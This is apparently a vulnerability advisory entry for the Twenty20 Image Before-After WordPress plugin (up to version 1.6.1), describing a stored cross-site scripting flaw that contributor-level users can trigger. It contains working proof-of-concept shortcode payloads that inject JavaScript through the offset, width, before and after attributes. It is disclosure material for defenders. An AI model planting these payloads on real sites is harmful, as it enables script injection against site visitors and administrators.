WordPress Plugin Vulnerabilities

Twenty20 Image Before-After <= 1.6.1 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

v <= 1.6.1
[twenty20 img1='test1.jpg' img2='test2.jpg' offset='1})});alert(/XSS-offset-/)//']

v < 1.5.9
[twenty20 img1='test1.jpg' img2='test2.jpg' width='100px;height:100px;background:red;" onmouseover="alert(/XSS-width/)"']
[twenty20 img1='test1.jpg' img2='test2.jpg' before='")});alert(/XSS-before/)//']
[twenty20 img1='test1.jpg' img2='test2.jpg' after='")});alert(/XSS-after/)//']

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-23 (about 1 years ago)
Added
2023-01-23 (about 1 years ago)
Last Updated
2023-03-23 (about 1 years ago)

Other